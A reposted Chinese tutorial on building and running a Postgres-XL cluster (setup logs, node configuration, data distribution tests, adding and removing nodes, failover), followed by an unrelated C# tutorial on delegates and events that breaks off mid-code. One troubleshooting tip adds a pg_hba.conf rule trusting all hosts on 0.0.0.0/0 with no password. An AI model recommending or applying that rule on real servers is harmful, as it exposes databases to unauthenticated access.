oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting coordinator master.Starting coordinator master coord1Starting coordinator master coord22019-05-30 21:13:03.998 EDT [25137] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:13:03.998 EDT [25137] LOG: listening on IPv6 address "::", port 54322019-05-30 21:13:04.000 EDT [25137] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:13:04.038 EDT [25138] LOG: database system was shut down at 2019-05-30 21:13:00 EDT2019-05-30 21:13:04.042 EDT [25137] LOG: database system is ready to accept connections2019-05-30 21:13:04.049 EDT [25145] LOG: cluster monitor started2019-05-30 21:13:04.020 EDT [2730] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:13:04.020 EDT [2730] LOG: listening on IPv6 address "::", port 54322019-05-30 21:13:04.021 EDT [2730] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:13:04.057 EDT [2731] LOG: database system was shut down at 2019-05-30 21:13:00 EDT2019-05-30 21:13:04.061 EDT [2730] LOG: database system is ready to accept connections2019-05-30 21:13:04.062 EDT [2738] LOG: cluster monitor startedDone.Initialize all the datanode masters.Initialize the datanode master datanode1.Initialize the datanode master datanode2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting all the datanode masters.Starting datanode master datanode1.Starting datanode master datanode2.2019-05-30 21:13:12.077 EDT [25392] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:13:12.077 EDT [25392] LOG: listening on IPv6 address "::", port 154322019-05-30 21:13:12.079 EDT [25392] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:13:12.114 EDT [25392] LOG: redirecting log output to logging collector process2019-05-30 21:13:12.114 EDT [25392] HINT: Future log output will appear in directory "pg_log".2019-05-30 21:13:12.079 EDT [2985] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:13:12.079 EDT [2985] LOG: listening on IPv6 address "::", port 154322019-05-30 21:13:12.081 EDT [2985] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:13:12.117 EDT [2985] LOG: redirecting log output to logging collector process2019-05-30 21:13:12.117 EDT [2985] HINT: Future log output will appear in directory "pg_log".Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done.psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"psql: FATAL: no pg_hba.conf entry for host "192.168.20.132", user "postgres", database "postgres"Done. 启动 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf start all 关闭 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf stop all 查看集群状态 [postgres@gtm ~]$ pgxc_ctl monitor all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlRunning: gtm masterRunning: coordinator master coord1Running: coordinator master coord2Running: datanode master datanode1Running: datanode master datanode2 配置集群信息 分别在数据节点、协调器节点上分别执行以下命令: 注:本节点只执行修改操作即可(alert node),其他节点执行创建命令(create node)。因为本节点已经包含本节点的信息。 create node coord1 with (type=coordinator,host=xl1, port=5432);create node coord2 with (type=coordinator,host=xl2, port=5432);alter node coord1 with (type=coordinator,host=xl1, port=5432);alter node coord2 with (type=coordinator,host=xl2, port=5432);create node datanode1 with (type=datanode, host=xl1,port=15432,primary=true,PREFERRED);create node datanode2 with (type=datanode, host=xl2,port=15432);alter node datanode1 with (type=datanode, host=xl1,port=15432,primary=true,PREFERRED);alter node datanode2 with (type=datanode, host=xl2,port=15432);select pgxc_pool_reload(); 分别登陆数据节点、协调器节点验证 postgres= select from pgxc_node;node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-----------+-----------+-----------+-----------+----------------+------------------+-------------coord1 | C | 5432 | xl1 | f | f | 1885696643coord2 | C | 5432 | xl2 | f | f | -1197102633datanode2 | D | 15432 | xl2 | f | f | -905831925datanode1 | D | 15432 | xl1 | t | f | 888802358(4 rows) 测试 插入数据 在数据节点1,执行相关操作。 通过协调器端口登录PG [postgres@xl1 ~]$ psql -p 5432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= create database lei;CREATE DATABASEpostgres= \c lei;You are now connected to database "lei" as user "postgres".lei= create table test1(id int,name text);CREATE TABLElei= insert into test1(id,name) select generate_series(1,8),'测试';INSERT 0 8lei= select from test1;id | name----+------1 | 测试2 | 测试5 | 测试6 | 测试8 | 测试3 | 测试4 | 测试7 | 测试(8 rows) 注:默认创建的表为分布式表,也就是每个数据节点值存储表的部分数据。关于表类型具体说明,下面有说明。 通过15432端口登录数据节点,查看数据 有5条数据 [postgres@xl1 ~]$ psql -p 15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= \c lei;You are now connected to database "lei" as user "postgres".lei= select from test1;id | name----+------1 | 测试2 | 测试5 | 测试6 | 测试8 | 测试(5 rows) 登录到节点2,查看数据 有3条数据 [postgres@xl2 ~]$ psql -p15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= \c lei;You are now connected to database "lei" as user "postgres".lei= select from test1;id | name----+------3 | 测试4 | 测试7 | 测试(3 rows) 两个节点的数据加起来整个8条,没有问题。 至此Postgre-XL集群搭建完成。 创建数据库、表时可能会出现以下错误: ERROR: Failed to get pooled connections 是因为pg_hba.conf配置不对,所有节点加上host all all 192.168.20.0/0 trust并重启集群即可。 ERROR: No Datanode defined in cluster 首先确认是否创建了数据节点,也就是create node相关的命令。如果创建了则执行select pgxc_pool_reload();使其生效即可。 集群管理与应用 表类型说明 REPLICATION表:各个datanode节点中,表的数据完全相同,也就是说,插入数据时,会分别在每个datanode节点插入相同数据。读数据时,只需要读任意一个datanode节点上的数据。 建表语法: CREATE TABLE repltab (col1 int, col2 int) DISTRIBUTE BY REPLICATION; DISTRIBUTE :会将插入的数据,按照拆分规则,分配到不同的datanode节点中存储,也就是sharding技术。每个datanode节点只保存了部分数据,通过coordinate节点可以查询完整的数据视图。 CREATE TABLE disttab(col1 int, col2 int, col3 text) DISTRIBUTE BY HASH(col1); 模拟数据插入 任意登录一个coordinate节点进行建表操作 [postgres@gtm ~]$ psql -h xl1 -p 5432 -U postgrespostgres= INSERT INTO disttab SELECT generate_series(1,100), generate_series(101, 200), 'foo';INSERT 0 100postgres= INSERT INTO repltab SELECT generate_series(1,100), generate_series(101, 200);INSERT 0 100 查看数据分布结果: DISTRIBUTE表分布结果 postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+-------1148549230 | 42-927910690 | 58(2 rows) REPLICATION表分布结果 postgres= SELECT count() FROM repltab;count -------100(1 row) 查看另一个datanode2中repltab表结果 [postgres@datanode2 pgxl9.5]$ psql -p 15432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= SELECT count() FROM repltab;count -------100(1 row) 结论:REPLICATION表中,datanode1,datanode2中表是全部数据,一模一样。而DISTRIBUTE表,数据散落近乎平均分配到了datanode1,datanode2节点中。 新增数据节点与数据重分布 在线新增节点、并重新分布数据。 新增datanode节点 在gtm集群管理节点上执行pgxc_ctl命令 [postgres@gtm ~]$ pgxc_ctl/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.confFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlPGXC 在服务器xl3上,新增一个master角色的datanode节点,名称是datanode3 端口号暂定5430,pool master暂定6669 ,指定好数据目录位置,从两个节点升级到3个节点,之后要写3个none none应该是datanodeSpecificExtraConfig或者datanodeSpecificExtraPgHba配置PGXC add datanode master datanode3 xl3 15432 6671 /home/postgres/pgxc/nodes/datanode/datanode3 none none none 等待新增完成后,查询集群节点状态: postgres= select from pgxc_node;node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-----------+-----------+-----------+-----------+----------------+------------------+-------------datanode1 | D | 15432 | xl1 | t | f | 888802358datanode2 | D | 15432 | xl2 | f | f | -905831925datanode3 | D | 15432 | xl3 | f | f | -705831925coord1 | C | 5432 | xl1 | f | f | 1885696643coord2 | C | 5432 | xl2 | f | f | -1197102633(4 rows) 节点新增完毕 数据重新分布 由于新增节点后无法自动完成数据重新分布,需要手动操作。 DISTRIBUTE表分布在了node1,node2节点上,如下: postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+-------1148549230 | 42-927910690 | 58(2 rows) 新增一个节点后,将sharding表数据重新分配到三个节点上,将repl表复制到新节点 重分布sharding表postgres= ALTER TABLE disttab ADD NODE (datanode3);ALTER TABLE 复制数据到新节点postgres= ALTER TABLE repltab ADD NODE (datanode3);ALTER TABLE 查看新的数据分布: postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+--------700122826 | 36-927910690 | 321148549230 | 32(3 rows) 登录datanode3(新增的时候,放在了xl3服务器上,端口15432)节点查看数据: [postgres@gtm ~]$ psql -h xl3 -p 15432 -U postgrespsql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= select count() from repltab;count -------100(1 row) 很明显,通过 ALTER TABLE tt ADD NODE (dn)命令,可以将DISTRIBUTE表数据重新分布到新节点,重分布过程中会中断所有事务。可以将REPLICATION表数据复制到新节点。 从datanode节点中回收数据 postgres= ALTER TABLE disttab DELETE NODE (datanode3);ALTER TABLEpostgres= ALTER TABLE repltab DELETE NODE (datanode3);ALTER TABLE 删除数据节点 Postgresql-XL并没有检查将被删除的datanode节点是否有replicated/distributed表的数据,为了数据安全,在删除之前需要检查下被删除节点上的数据,有数据的话,要回收掉分配到其他节点,然后才能安全删除。删除数据节点分为四步骤: 1.查询要删除节点dn3的oid postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id -------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11819 | coord1 | C | 5432 | datanode1 | f | f | 188569664316384 | coord2 | C | 5432 | datanode2 | f | f | -119710263316385 | node1 | D | 5433 | datanode1 | f | t | 114854923016386 | node2 | D | 5433 | datanode2 | f | f | -92791069016397 | dn3 | D | 5430 | datanode1 | f | f | -700122826(5 rows) 2.查询dn3对应的oid中是否有数据 testdb= SELECT FROM pgxc_class WHERE nodeoids::integer[] @> ARRAY[16397];pcrelid | pclocatortype | pcattnum | pchashalgorithm | pchashbuckets | nodeoids ---------+---------------+----------+-----------------+---------------+-------------------16388 | H | 1 | 1 | 4096 | 16397 16385 1638616394 | R | 0 | 0 | 0 | 16397 16385 16386(2 rows) 3.有数据的先回收数据 postgres= ALTER TABLE disttab DELETE NODE (dn3);ALTER TABLEpostgres= ALTER TABLE repltab DELETE NODE (dn3);ALTER TABLEpostgres= SELECT FROM pgxc_class WHERE nodeoids::integer[] @> ARRAY[16397];pcrelid | pclocatortype | pcattnum | pchashalgorithm | pchashbuckets | nodeoids ---------+---------------+----------+-----------------+---------------+----------(0 rows) 4.安全删除dn3 PGXC$ remove datanode master dn3 clean 故障节点FAILOVER 1.查看当前集群状态 [postgres@gtm ~]$ psql -h xl1 -p 5432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11739 | coord1 | C | 5432 | xl1 | f | f | 188569664316384 | coord2 | C | 5432 | xl2 | f | f | -119710263316387 | datanode2 | D | 15432 | xl2 | f | f | -90583192516388 | datanode1 | D | 15432 | xl1 | t | t | 888802358(4 rows) 2.模拟datanode1节点故障 直接关闭即可 PGXC stop -m immediate datanode master datanode1Stopping datanode master datanode1.Done. 3.测试查询 只要查询涉及到datanode1上的数据,那么该查询就会报错 postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;WARNING: failed to receive file descriptors for connectionsERROR: Failed to get pooled connectionsHINT: This may happen because one or more nodes are currently unreachable, either because of node or network failure.Its also possible that the target node may have hit the connection limit or the pooler is configured with low connections.Please check if all nodes are running fine and also review max_connections and max_pool_size configuration parameterspostgres= SELECT xc_node_id, FROM disttab WHERE col1 = 3;xc_node_id | col1 | col2 | col3------------+------+------+-------905831925 | 3 | 103 | foo(1 row) 测试发现,查询范围如果涉及到故障的node1节点,会报错,而查询的数据范围不在node1上的话,仍然可以查询。 4.手动切换 要想切换,必须要提前配置slave节点。 PGXC$ failover datanode node1 切换完成后,查询集群 postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id -------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11819 | coord1 | C | 5432 | datanode1 | f | f | 188569664316384 | coord2 | C | 5432 | datanode2 | f | f | -119710263316386 | node2 | D | 15432 | datanode2 | f | f | -92791069016385 | node1 | D | 15433 | datanode2 | f | t | 1148549230(4 rows) 发现datanode1节点的ip和端口都已经替换为配置的slave了。 本篇文章为转载内容。原文链接:https://blog.csdn.net/qianglei6077/article/details/94379331。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-30 11:09:03
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...日文版,就不得不反复修改枚举和GreetPeople() 方法,以适应新的需求。 在考虑新的解决方案之前,我们先看看 GreetPeople 的方法签名: public void GreetPeople(string name, Language lang); 我们仅看 string name,在这里,string 是参数类型,name 是参数变量,当我们赋给 name 字符串“Liker”时,它就代表“Liker”这个值;当我们赋给它“李志中”时,它又代表着“李志中”这个值。然后,我们可以在方法体内对这个 name 进行其他操作。哎,这简直是废话么,刚学程序就知道了。 如果你再仔细想想,假如 GreetPeople() 方法可以接受一个参数变量,这个变量可以代表另一个方法,当我们给这个变量赋值 EnglishGreeting 的时候,它代表着 EnglsihGreeting() 这个方法;当我们给它赋值ChineseGreeting 的时候,它又代表着 ChineseGreeting() 法。我们将这个参数变量命名为 MakeGreeting,那么不是可以如同给 name 赋值时一样,在调用 GreetPeople()方法的时候,给这个MakeGreeting 参数也赋上值么(ChineseGreeting 或者EnglsihGreeting 等)?然后,我们在方法体内,也可以像使用别的参数一样使用MakeGreeting。但是,由于 MakeGreeting 代表着一个方法,它的使用方式应该和它被赋的方法(比如ChineseGreeting)是一样的,比如:MakeGreeting(name); 好了,有了思路了,我们现在就来改改GreetPeople()方法,那么它应该是这个样子了: public void GreetPeople(string name, MakeGreeting) { MakeGreeting(name); } 注意到 ,这个位置通常放置的应该是参数的类型,但到目前为止,我们仅仅是想到应该有个可以代表方法的参数,并按这个思路去改写 GreetPeople 方法,现在就出现了一个大问题:这个代表着方法的 MakeGreeting 参数应该是什么类型的? 说明:这里已不再需要枚举了,因为在给MakeGreeting 赋值的时候动态地决定使用哪个方法,是 ChineseGreeting 还是 EnglishGreeting,而在这个两个方法内部,已经对使用“Good Morning”还是“早上好”作了区分。 聪明的你应该已经想到了,现在是委托该出场的时候了,但讲述委托之前,我们再看看MakeGreeting 参数所能代表的 ChineseGreeting()和EnglishGreeting()方法的签名: public void EnglishGreeting(string name) public void ChineseGreeting(string name) 如同 name 可以接受 String 类型的“true”和“1”,但不能接受bool 类型的true 和int 类型的1 一样。MakeGreeting 的参数类型定义应该能够确定 MakeGreeting 可以代表的方法种类,再进一步讲,就是 MakeGreeting 可以代表的方法的参数类型和返回类型。 于是,委托出现了:它定义了 MakeGreeting 参数所能代表的方法的种类,也就是 MakeGreeting 参数的类型。 本例中委托的定义: public delegate void GreetingDelegate(string name); 与上面 EnglishGreeting() 方法的签名对比一下,除了加入了delegate 关键字以外,其余的是不是完全一样?现在,让我们再次改动GreetPeople()方法,如下所示: public delegate void GreetingDelegate(string name);public void GreetPeople(string name, GreetingDelegate MakeGreeting){MakeGreeting(name);} 如你所见,委托 GreetingDelegate 出现的位置与 string 相同,string 是一个类型,那么 GreetingDelegate 应该也是一个类型,或者叫类(Class)。但是委托的声明方式和类却完全不同,这是怎么一回事?实际上,委托在编译的时候确实会编译成类。因为 Delegate 是一个类,所以在任何可以声明类的地方都可以声明委托。更多的内容将在下面讲述,现在,请看看这个范例的完整代码: public delegate void GreetingDelegate(string name);class Program{private static void EnglishGreeting(string name){Console.WriteLine("Good Morning, " + name);}private static void ChineseGreeting(string name){Console.WriteLine("早上好, " + name);}private static void GreetPeople(string name, GreetingDelegate MakeGreeting){MakeGreeting(name);}static void Main(string[] args){GreetPeople("Liker", EnglishGreeting);GreetPeople("李志中", ChineseGreeting);Console.ReadLine();} } 我们现在对委托做一个总结:委托是一个类,它定义了方法的类型,使得可以将方法当作另一个方法的参数来进行传递,这种将方法动态地赋给参数的做法,可以避免在程序中大量使用If … Else(Switch)语句,同时使得程序具有更好的可扩展性。 1.1.2 将方法绑定到委托 看到这里,是不是有那么点如梦初醒的感觉?于是,你是不是在想:在上面的例子中,我不一定要直接在 GreetPeople() 方法中给 name 参数赋值,我可以像这样使用变量: static void Main(string[] args){GreetPeople("Liker", EnglishGreeting);GreetPeople("李志中", ChineseGreeting);Console.ReadLine();} 而既然委托 GreetingDelegate 和类型 string 的地位一样,都是定义了一种参数类型,那么,我是不是也可以这么使用委托? static void Main(string[] args){GreetingDelegate delegate1, delegate2;delegate1 = EnglishGreeting;delegate2 = ChineseGreeting;GreetPeople("Liker", delegate1);GreetPeople("李志中", delegate2);Console.ReadLine();} 如你所料,这样是没有问题的,程序一如预料的那样输出。这里,我想说的是委托不同于 string 的一个特性:可以将多个方法赋给同一个委托,或者叫将多个方法绑定到同一个委托,当调用这个委托的时候,将依次调用其所绑定的方法。在这个例子中,语法如下: static void Main(string[] args){GreetingDelegate delegate1;delegate1 = EnglishGreeting; delegate1 += ChineseGreeting;GreetPeople("Liker", delegate1);Console.ReadLine();} 实际上,我们可以也可以绕过GreetPeople 方法,通过委托来直接调用EnglishGreeting 和ChineseGreeting: static void Main(string[] args){GreetingDelegate delegate1;delegate1 = EnglishGreeting;delegate1 += ChineseGreeting; delegate1("Liker");Console.ReadLine();} 说明:这在本例中是没有问题的,但回头看下上面 GreetPeople() 的定义,在它之中可以做一些对于 EnglshihGreeting 和 ChineseGreeting 来说都需要进行的工作,为了简便我做了省略。 注意这里,第一次用的“=”,是赋值的语法;第二次,用的是“+=”,是绑定的语法。如果第一次就使用“+=”,将出现“使用了未赋值的局部变量”的编译错误。我们也可以使用下面的代码来这样简化这一过程: GreetingDelegate delegate1 = new GreetingDelegate(EnglishGreeting);delegate1 += ChineseGreeting; 既然给委托可以绑定一个方法,那么也应该有办法取消对方法的绑定,很容易想到,这个语法是“-=”: static void Main(string[] args){GreetingDelegate delegate1 = new GreetingDelegate(EnglishGreeting);delegate1 += ChineseGreeting;GreetPeople("Liker", delegate1);Console.WriteLine();delegate1 -= EnglishGreeting;GreetPeople("李志中", delegate1);Console.ReadLine();} 让我们再次对委托作个总结: 使用委托可以将多个方法绑定到同一个委托变量,当调用此变量时(这里用“调用”这个词,是因为此变量代表一个方法),可以依次调用所有绑定的方法。 1.2 事件的由来 1.2.1 更好的封装性 我们继续思考上面的程序:上面的三个方法都定义在 Programe 类中,这样做是为了理解的方便,实际应用中,通常都是 GreetPeople 在一个类中,ChineseGreeting 和 EnglishGreeting 在另外的类中。现在你已经对委托有了初步了解,是时候对上面的例子做个改进了。假设我们将 GreetingPeople() 放在一个叫 GreetingManager 的类中,那么新程序应该是这个样子的: namespace Delegate{public delegate void GreetingDelegate(string name);public class GreetingManager{public void GreetPeople(string name, GreetingDelegate MakeGreeting){MakeGreeting(name);} }class Program{private static void EnglishGreeting(string name){Console.WriteLine("Good Morning, " + name);}private static void ChineseGreeting(string name){Console.WriteLine("早上好, " + name);}static void Main(string[] args){GreetingManager gm = new GreetingManager();gm.GreetPeople("Liker", EnglishGreeting);gm.GreetPeople("李志中", ChineseGreeting);} }} 我们运行这段代码,嗯,没有任何问题。程序一如预料地那样输出了: // Good Morning, Liker 早上好, 李志中 // 现在,假设我们需要使用上一节学到的知识,将多个方法绑定到同一个委托变量,该如何做呢?让我们再次改写代码: static void Main(string[] args){GreetingManager gm = new GreetingManager();GreetingDelegate delegate1;delegate1 = EnglishGreeting;delegate1 += ChineseGreeting;gm.GreetPeople("Liker", delegate1);} 输出: Good Morning, Liker 早上好, Liker 到了这里,我们不禁想到:面向对象设计,讲究的是对象的封装,既然可以声明委托类型的变量(在上例中是delegate1),我们何不将这个变量封装到 GreetManager 类中?在这个类的客户端中使用不是更方便么?于是,我们改写GreetManager 类,像这样: public class GreetingManager{/// <summary>/// 在 GreetingManager 类的内部声明 delegate1 变量/// </summary>public GreetingDelegate delegate1;public void GreetPeople(string name, GreetingDelegate MakeGreeting){MakeGreeting(name);} } 现在,我们可以这样使用这个委托变量: static void Main(string[] args){GreetingManager gm = new GreetingManager();gm.delegate1 = EnglishGreeting;gm.delegate1 += ChineseGreeting;gm.GreetPeople("Liker", gm.delegate1);} 输出为: Good Morning, Liker 早上好, Liker 尽管这样做没有任何问题,但我们发现这条语句很奇怪。在调用gm.GreetPeople 方法的时候,再次传递了gm 的delegate1 字段, 既然如此,我们何不修改 GreetingManager 类成这样: public class GreetingManager{/// <summary>/// 在 GreetingManager 类的内部声明 delegate1 变量/// </summary>public GreetingDelegate delegate1;public void GreetPeople(string name){if (delegate1 != null) // 如果有方法注册委托变量{ delegate1(name); // 通过委托调用方法} }} 在客户端,调用看上去更简洁一些: static void Main(string[] args){GreetingManager gm = new GreetingManager();gm.delegate1 = EnglishGreeting;gm.delegate1 += ChineseGreeting;gm.GreetPeople("Liker"); //注意,这次不需要再传递 delegate1 变量} 尽管这样达到了我们要的效果,但是还是存在着问题:在这里,delegate1 和我们平时用的string 类型的变量没有什么分别,而我们知道,并不是所有的字段都应该声明成public,合适的做法是应该public 的时候public,应该private 的时候private。 我们先看看如果把 delegate1 声明为 private 会怎样?结果就是:这简直就是在搞笑。因为声明委托的目的就是为了把它暴露在类的客户端进行方法的注册,你把它声明为 private 了,客户端对它根本就不可见,那它还有什么用? 再看看把delegate1 声明为 public 会怎样?结果就是:在客户端可以对它进行随意的赋值等操作,严重破坏对象的封装性。 最后,第一个方法注册用“=”,是赋值语法,因为要进行实例化,第二个方法注册则用的是“+=”。但是,不管是赋值还是注册,都是将方法绑定到委托上,除了调用时先后顺序不同,再没有任何的分别,这样不是让人觉得很别扭么? 现在我们想想,如果delegate1 不是一个委托类型,而是一个string 类型,你会怎么做?答案是使用属性对字段进行封装。 于是,Event 出场了,它封装了委托类型的变量,使得:在类的内部,不管你声明它是public还是protected,它总是private 的。在类的外部,注册“+=”和注销“-=”的访问限定符与你在声明事件时使用的访问符相同。我们改写GreetingManager 类,它变成了这个样子: public class GreetingManager{//这一次我们在这里声明一个事件public event GreetingDelegate MakeGreet;public void GreetPeople(string name){MakeGreet(name);} } 很容易注意到:MakeGreet 事件的声明与之前委托变量 delegate1 的声明唯一的区别是多了一个 event 关键字。看到这里,在结合上面的讲解,你应该明白到:事件其实没什么不好理解的,声明一个事件不过类似于声明一个进行了封装的委托类型的变量而已。 为了证明上面的推论,如果我们像下面这样改写Main 方法: static void Main(string[] args){GreetingManager gm = new GreetingManager();gm.MakeGreet = EnglishGreeting; // 编译错误1gm.MakeGreet += ChineseGreeting;gm.GreetPeople("Liker");} 会得到编译错误: 1.2.2 限制类型能力 使用事件不仅能获得比委托更好的封装性以外,还能限制含有事件的类型的能力。这是什么意思呢?它的意思是说:事件应该由事件发布者触发,而不应该由事件的客户端(客户程序)来触发。请看下面的范例: using System;class Program{static void Main(string[] args){Publishser pub = new Publishser();Subscriber sub = new Subscriber();pub.NumberChanged += new NumberChangedEventHandler(sub.OnNumberChanged);pub.DoSomething(); // 应该通过DoSomething()来触发事件pub.NumberChanged(100); // 但可以被这样直接调用,对委托变量的不恰当使用} }/// <summary>/// 定义委托/// </summary>/// <param name="count"></param>public delegate void NumberChangedEventHandler(int count);/// <summary>/// 定义事件发布者/// </summary>public class Publishser{private int count;public NumberChangedEventHandler NumberChanged; // 声明委托变量//public event NumberChangedEventHandler NumberChanged; // 声明一个事件public void DoSomething(){// 在这里完成一些工作 ...if (NumberChanged != null) // 触发事件{ count++;NumberChanged(count);} }}/// <summary>/// 定义事件订阅者/// </summary>public class Subscriber{public void OnNumberChanged(int count){Console.WriteLine("Subscriber notified: count = {0}", count);} } 上面代码定义了一个NumberChangedEventHandler 委托,然后我们创建了事件的发布者Publisher 和订阅者Subscriber。当使用委托变量时,客户端可以直接通过委托变量触发事件,也就是直接调用pub.NumberChanged(100),这将会影响到所有注册了该委托的订阅者。而事件的本意应该为在事件发布者在其本身的某个行为中触发,比如说在方法DoSomething()中满足某个条件后触发。通过添加event 关键字来发布事件,事件发布者的封装性会更好,事件仅仅是供其他类型订阅,而客户端不能直接触发事件(语句pub.NumberChanged(100)无法通过编译),事件只能在事件发布者Publisher 类的内部触发(比如在方法pub.DoSomething()中),换言之,就是NumberChanged(100)语句只能在Publisher 内部被调用。大家可以尝试一下,将委托变量的声明那行代码注释掉,然后取消下面事件声明的注释。此时程序是无法编译的,当你使用了event 关键字之后,直接在客户端触发事件这种行为,也就是直接调用pub.NumberChanged(100),是被禁止的。事件只能通过调用DoSomething() 来触发。这样才是事件的本意,事件发布者的封装才会更好。 就好像如果我们要定义一个数字类型,我们会使用int 而不是使用object 一样,给予对象过多的能力并不见得是一件好事,应该是越合适越好。尽管直接使用委托变量通常不会有什么问题,但它给了客户端不应具有的能力,而使用事件,可以限制这一能力,更精确地对类型进行封装。 说 明:这里还有一个约定俗称的规定,就是订阅事件的方法的命名,通常为“On 事件名”,比如这里的OnNumberChanged。 1.3 委托的编译代码 这时候,我们注释掉编译错误的行,然后重新进行编译,再借助 Reflactor 来对 event 的声明语句做一探究,看看为什么会发生这样的错误: 可以看到,实际上尽管我们在GreetingManager 里将 MakeGreet 声明为public,但是,实际上MakeGreet 会被编译成私有字段,难怪会发生上面的编译错误了,因为它根本就不允许在GreetingManager 类的外面以赋值的方式访问,从而验证了我们上面所做的推论。 我们再进一步看下MakeGreet 所产生的代码: // private GreetingDelegate MakeGreet; //对事件的声明实际是声明一个私有的委托变量 [MethodImpl(MethodImplOptions.Synchronized)] public void add_MakeGreet(GreetingDelegate value) { this.MakeGreet = (GreetingDelegate) Delegate.Combine(this.MakeGreet, value); } [MethodImpl(MethodImplOptions.Synchronized)] public void remove_MakeGreet(GreetingDelegate value) { this.MakeGreet = (GreetingDelegate) Delegate.Remove(this.MakeGreet, value); } // 现在已经很明确了:MakeGreet 事件确实是一个GreetingDelegate 类型的委托,只不过不管是不是声明为public,它总是被声明为private。另外,它还有两个方法,分别是add_MakeGreet和remove_MakeGreet,这两个方法分别用于注册委托类型的方法和取消注册。实际上也就是:“+= ”对应 add_MakeGreet,“-=”对应remove_MakeGreet。而这两个方法的访问限制取决于声明事件时的访问限制符。 在add_MakeGreet()方法内部,实际上调用了System.Delegate 的Combine()静态方法,这个方法用于将当前的变量添加到委托链表中。 我们前面提到过两次,说委托实际上是一个类,在我们定义委托的时候: // public delegate void GreetingDelegate(string name); // 当编译器遇到这段代码的时候,会生成下面这样一个完整的类: // public class 